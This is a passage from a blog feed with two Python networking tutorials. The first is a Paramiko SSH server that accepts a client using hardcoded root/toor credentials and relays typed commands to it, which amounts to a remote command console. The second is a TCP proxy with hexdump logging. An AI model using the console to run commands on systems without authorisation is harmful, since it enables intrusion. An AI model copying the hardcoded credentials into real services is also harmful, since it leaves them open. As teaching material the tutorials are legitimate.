    sys.exit(1)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> paramiko</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> sys</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># using the server host key from the paramiko demo files</span></span>
<span class="line"><span style="color: #F8F8F2">host_key </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> paramiko.RSAKey(</span><span style="color: #FD971F; font-style: italic">filename</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&#39;test_rsa.key&#39;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">class</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E; text-decoration: underline">Server</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E; font-style: italic; text-decoration: underline">paramiko</span><span style="color: #F8F8F2">.</span><span style="color: #A6E22E; font-style: italic; text-decoration: underline">ServerInterface</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.event </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Event()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">check_channel_request</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">kind</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">chanid</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> kind </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&#39;session&#39;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> paramiko.</span><span style="color: #AE81FF">OPEN_SUCCEEDED</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> paramiko.</span><span style="color: #AE81FF">OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">check_auth_password</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">username</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">password</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> username </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&#39;root&#39;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">and</span><span style="color: #F8F8F2"> password </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&#39;toor&#39;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> paramiko.</span><span style="color: #AE81FF">AUTH_SUCCESSFUL</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> paramiko.</span><span style="color: #AE81FF">AUTH_FAILED</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">server </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sys.argv[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">]</span></span>
<span class="line"><span style="color: #F8F8F2">ssh_port </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">int</span><span style="color: #F8F8F2">(sys.argv[</span><span style="color: #AE81FF">2</span><span style="color: #F8F8F2">])</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    sock </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_STREAM</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    sock.setsockopt(socket.</span><span style="color: #AE81FF">SOL_SOCKET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SO_REUSEADDR</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    sock.bind((server, ssh_port))</span></span>
<span class="line"><span style="color: #F8F8F2">    sock.listen(</span><span style="color: #AE81FF">100</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[+] Listening for connection...&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    client, addr </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sock.accept()</span></span>
<span class="line"><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">Exception</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> e:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[-] Listen failed: &quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(e))</span></span>
<span class="line"><span style="color: #F8F8F2">    sys.exit(</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[+] Got a connection!&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># noinspection PyTypeChecker</span></span>
<span class="line"><span style="color: #F8F8F2">    bhSession </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> paramiko.Transport(client)</span></span>
<span class="line"><span style="color: #F8F8F2">    bhSession.add_server_key(host_key)</span></span>
<span class="line"><span style="color: #F8F8F2">    server </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> Server()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        bhSession.start_server(</span><span style="color: #FD971F; font-style: italic">server</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">server)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> paramiko.SSHException:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[-] SSH negotiation failed.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    chan </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> bhSession.accept(</span><span style="color: #AE81FF">20</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[+] Authenticated!&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(chan.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">))</span></span>
<span class="line"><span style="color: #F8F8F2">    chan.send(</span><span style="color: #E6DB74">&quot;Welcome to bh_ssh!&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            command </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">input</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Enter command: &quot;</span><span style="color: #F8F8F2">).strip(</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">\n</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> command </span><span style="color: #F92672">!=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;exit&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                chan.send(command)</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(chan.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">).decode(</span><span style="color: #FD971F; font-style: italic">errors</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&quot;ignore&quot;</span><span style="color: #F8F8F2">) </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">\n</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                chan.send(</span><span style="color: #E6DB74">&quot;exit&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Exiting...&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">                bhSession.close()</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">raise</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">Exception</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;exit&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">KeyboardInterrupt</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            bhSession.close()</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">Exception</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> e:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[-] Caught exception: &quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(e))</span></span>
<span class="line"><span style="color: #F8F8F2">            bhSession.close()</span></span>
<span class="line"><span style="color: #F92672">finally</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    sys.exit(</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><h2>Explanation:</h2>
<ol>
<li>
<p><strong>SSH Server Configuration:</strong></p>
<ul>
<li>The script configures an SSH server using Paramiko.</li>
<li>It listens on a specified IP address (<code>server</code>) and port number (<code>ssh_port</code>).</li>
</ul>
</li>
<li>
<p><strong>Server Class (paramiko.ServerInterface):</strong></p>
<ul>
<li>The <code>Server</code> class is a custom implementation of <code>paramiko.ServerInterface</code>.</li>
<li>It checks channel requests and authentication requests. In this case, it allows only the ‘session’ channel and authenticates a user with the username ‘root’ and password ‘toor’.</li>
</ul>
</li>
<li>
<p><strong>Socket Setup and Connection:</strong></p>
<ul>
<li>The script creates a socket, binds it to the specified IP and port, and starts listening for incoming connections.</li>
<li>When a connection is received, it accepts the connection.</li>
</ul>
</li>
<li>
<p><strong>SSH Session Setup:</strong></p>
<ul>
<li>The script creates a Paramiko <code>Transport</code> object (<code>bhSession</code>) for the accepted connection.</li>
<li>It adds the server’s host key (<code>host_key</code>) to the session.</li>
</ul>
</li>
<li>
<p><strong>SSH Negotiation:</strong></p>
<ul>
<li>The script starts the SSH server and accepts the connection.</li>
</ul>
</li>
<li>
<p><strong>Authenticated Channel Setup:</strong></p>
<ul>
<li>Upon successful authentication, it accepts a channel (<code>chan</code>) and prints an authentication message.</li>
</ul>
</li>
<li>
<p><strong>Interactive Command Execution:</strong></p>
<ul>
<li>The script enters a loop allowing the user to input commands.</li>
<li>It sends the command to the client and prints the received output.</li>
</ul>
</li>
<li>
<p><strong>Exiting the Server:</strong></p>
<ul>
<li>The user can enter ‘exit’ to close the SSH session and exit the server.</li>
</ul>
</li>
</ol>
</div>
<p>The post <a href="https://awjunaid.com/networking/ssh-server-and-client-to-run-remote-commands-with-paramiko/">SSH server and client to run remote commands with Paramiko</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/networking/ssh-server-and-client-to-run-remote-commands-with-paramiko/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8915</post-id>	</item>
		<item>
		<title>Building a TCP proxy for accessing network-based software</title>
		<link>https://awjunaid.com/networking/building-a-tcp-proxy-for-accessing-network-based-software/</link>
					<comments>https://awjunaid.com/networking/building-a-tcp-proxy-for-accessing-network-based-software/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Fri, 29 Dec 2023 16:48:37 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8911</guid>

					<description><![CDATA[<p>TCP Proxy</p>
<p>The post <a href="https://awjunaid.com/networking/building-a-tcp-proxy-for-accessing-network-based-software/">Building a TCP proxy for accessing network-based software</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-jetpack-markdown"><p>A TCP proxy, or TCP forwarder, is a network device or software application that forwards TCP traffic from one endpoint to another. It acts as an intermediary between clients and servers, intercepting and forwarding TCP packets. TCP proxies are commonly used for various purposes, including network debugging, load balancing, security, and protocol translation.</p>
<h2>Common use cases for TCP proxies:</h2>
<ol>
<li>
<p><strong>Load Balancing:</strong></p>
<ul>
<li>TCP proxies can distribute incoming traffic across multiple servers to balance the load and improve system performance.</li>
<li>Load balancing helps prevent individual servers from becoming overwhelmed with too much traffic, improving overall system reliability and responsiveness.</li>
</ul>
</li>
<li>
<p><strong>Security and Access Control:</strong></p>
<ul>
<li>TCP proxies can be used to restrict access to a network or specific services. Only authorized users or systems are allowed to connect to the destination server.</li>
<li>Proxies can also be used to implement access control lists (ACLs) and filter out malicious traffic.</li>
</ul>
</li>
<li>
<p><strong>Protocol Translation:</strong></p>
<ul>
<li>Proxies can translate between different network protocols, allowing clients and servers that use different protocols to communicate seamlessly.</li>
<li>This is particularly useful in scenarios where legacy systems or devices use outdated protocols, and a proxy can translate the communication to a more modern protocol.</li>
</ul>
</li>
<li>
<p><strong>Monitoring and Logging:</strong></p>
<ul>
<li>TCP proxies can log and analyze network traffic, providing insights into communication patterns, performance, and potential security issues.</li>
<li>Monitoring tools can be integrated with proxies to track and analyze traffic in real-time.</li>
</ul>
</li>
<li>
<p><strong>Caching:</strong></p>
<ul>
<li>Some TCP proxies have caching capabilities, storing frequently accessed data locally. This can reduce latency and improve response times for repeated requests.</li>
<li>Caching is often used in scenarios where the same data is requested frequently, such as in web proxy servers.</li>
</ul>
</li>
<li>
<p><strong>Content Inspection and Modification:</strong></p>
<ul>
<li>TCP proxies can inspect and modify the content of packets passing through them. This is commonly used for content filtering, compression, or encryption/decryption.</li>
<li>Content modification can be applied for security reasons, such as removing malicious code or injecting security headers.</li>
</ul>
</li>
<li>
<p><strong>Network Debugging and Troubleshooting:</strong></p>
<ul>
<li>TCP proxies can be used to intercept and inspect network traffic for debugging and troubleshooting purposes.</li>
<li>Developers and network administrators can analyze the communication between clients and servers, identify issues, and test changes without directly affecting the production environment.</li>
</ul>
</li>
</ol>
<p>When implementing a TCP proxy, it’s essential to consider security aspects, such as protecting against unauthorized access, ensuring data integrity, and encrypting sensitive information when necessary. Additionally, the choice of a TCP proxy tool or solution depends on the specific requirements and use case of the deployment.</p>
</div>



<h2 class="wp-block-heading">TCP Proxy</h2>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(3 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import sys
import socket
import threading


# this is a pretty hex dumping function directly taken from
# http://code.activestate.com/recipes/142812-hex-dumper/

def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i + length]
        hexa = b' '.join([b&quot;%0*X&quot; % (digits, ord(x)) for x in s])
        text = b''.join([x if 0x20 &lt;= ord(x) &lt; 0x7F else b'.' for x in s])
        result.append(
            b&quot;%04X   %-*s   %s&quot; % (i, length * (digits + 1), hexa, text))

    print(b'\n'.join(result))


def receive_from(connection):
    buffer = b''

    # We set a 2 second time-out. Depending on your target this may need
    # to be adjusted
    connection.settimeout(2)

    try:

        # keep reading into the buffer until there's no more data or we
        # time-out
        while True:
            data = connection.recv(4096)
            if not data:
                break
            buffer += data

    except TimeoutError:
        pass

    return buffer


# modify any requests destined for the remote host
def request_handler(buffer):
    # perform packet modifications
    return buffer


# modify any responses destined for the local host
def response_handler(buffer):
    # perform packet modifications
    return buffer


def proxy_handler(client_socket, remote_host, remote_port, receive_first):
    # connect to the remote host
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    # receive data from the remote end if necessary
    if receive_first:
        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

        # send it to our response handler
        remote_buffer = response_handler(remote_buffer)

        # if we have data to send to our local client send it
        if len(remote_buffer):
            print(&quot;[&lt;==] Sending %d bytes to localhost.&quot; % len(remote_buffer))
            client_socket.send(remote_buffer)

    # now let's loop and read from local, send to remote, send to local
    # rinse wash repeat
    while True:
        # read from local host
        local_buffer = receive_from(client_socket)

        if len(local_buffer):
            print(&quot;[==&gt;] Received %d bytes from localhost.&quot; % len(local_buffer))
            hexdump(local_buffer)

            # send it to our request handler
            local_buffer = request_handler(local_buffer)

            # send off the data to the remote host
            remote_socket.send(local_buffer)
            print(&quot;[==&gt;] Sent to remote.&quot;)

        # receive back the response
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):
            print(&quot;[&lt;==] Received %d bytes from remote.&quot; % len(remote_buffer))
            hexdump(remote_buffer)

            # send to our response handler
            remote_buffer = response_handler(remote_buffer)

            # send the response to the local socket
            client_socket.send(remote_buffer)

            print(&quot;[&lt;==] Sent to localhost.&quot;)

        # if no more data on either side close the connections
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print(&quot;[*] No more data. Closing connections.&quot;)
            break


def server_loop(local_host, local_port, remote_host, remote_port,
                receive_first):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except socket.error as exc:
        print(&quot;[!!] Failed to listen on %s:%d&quot; % (local_host,
                                                  local_port))
        print(&quot;[!!] Check for other listening sockets or correct &quot;
              &quot;permissions.&quot;)
        print(f&quot;[!!] Caught exception error: {exc}&quot;)
        sys.exit(0)

    print(&quot;[*] Listening on %s:%d&quot; % (local_host, local_port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # print out the local connection information
        print(&quot;[==&gt;] Received incoming connection from %s:%d&quot; % (
            addr[0], addr[1]))

        # start a thread to talk to the remote host
        proxy_thread = threading.Thread(target=proxy_handler, args=(
            client_socket, remote_host, remote_port, receive_first))
        proxy_thread.start()


def main():
    # no fancy command line parsing here
    if len(sys.argv[1:]) != 5:
        print(&quot;Usage: ./proxy.py [localhost] [localport] [remotehost] &quot;
              &quot;[remoteport] [receive_first]&quot;)
        print(&quot;Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True&quot;)
        sys.exit(0)

    # setup local listening parameters
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    # setup remote target
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # this tells our proxy to connect and receive data
    # before sending to the remote host
    receive_first = sys.argv[5]

    if &quot;True&quot; in receive_first:
        receive_first = True
    else:
        receive_first = False

    # now spin up our listening socket
    server_loop(local_host, local_port, remote_host, remote_port, receive_first)


main()" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> sys</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># this is a pretty hex dumping function directly taken from</span></span>
<span class="line"><span style="color: #88846F"># http://code.activestate.com/recipes/142812-hex-dumper/</span></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">hexdump</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">src</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">length</span><span style="color: #F92672">=</span><span style="color: #AE81FF">16</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    result </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> []</span></span>
<span class="line"><span style="color: #F8F8F2">    digits </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">isinstance</span><span style="color: #F8F8F2">(src, </span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">) </span><span style="color: #F92672">else</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> i </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">range</span><span style="color: #F8F8F2">(</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">, </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(src), length):</span></span>
<span class="line"><span style="color: #F8F8F2">        s </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> src[i:i </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> length]</span></span>
<span class="line"><span style="color: #F8F8F2">        hexa </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39; &#39;</span><span style="color: #F8F8F2">.join([</span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%0*X</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (digits, </span><span style="color: #66D9EF">ord</span><span style="color: #F8F8F2">(x)) </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> x </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> s])</span></span>
<span class="line"><span style="color: #F8F8F2">        text </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39;&#39;</span><span style="color: #F8F8F2">.join([x </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">0x</span><span style="color: #AE81FF">20</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">&lt;=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">ord</span><span style="color: #F8F8F2">(x) </span><span style="color: #F92672">&lt;</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">0x</span><span style="color: #AE81FF">7F</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">else</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39;.&#39;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> x </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> s])</span></span>
<span class="line"><span style="color: #F8F8F2">        result.append(</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">%04X</span><span style="color: #E6DB74">   </span><span style="color: #AE81FF">%-*s</span><span style="color: #E6DB74">   </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (i, length </span><span style="color: #F92672">*</span><span style="color: #F8F8F2"> (digits </span><span style="color: #F92672">+</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">), hexa, text))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39;</span><span style="color: #AE81FF">\n</span><span style="color: #E6DB74">&#39;</span><span style="color: #F8F8F2">.join(result))</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">receive_from</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">connection</span><span style="color: #F8F8F2">):</span></span>
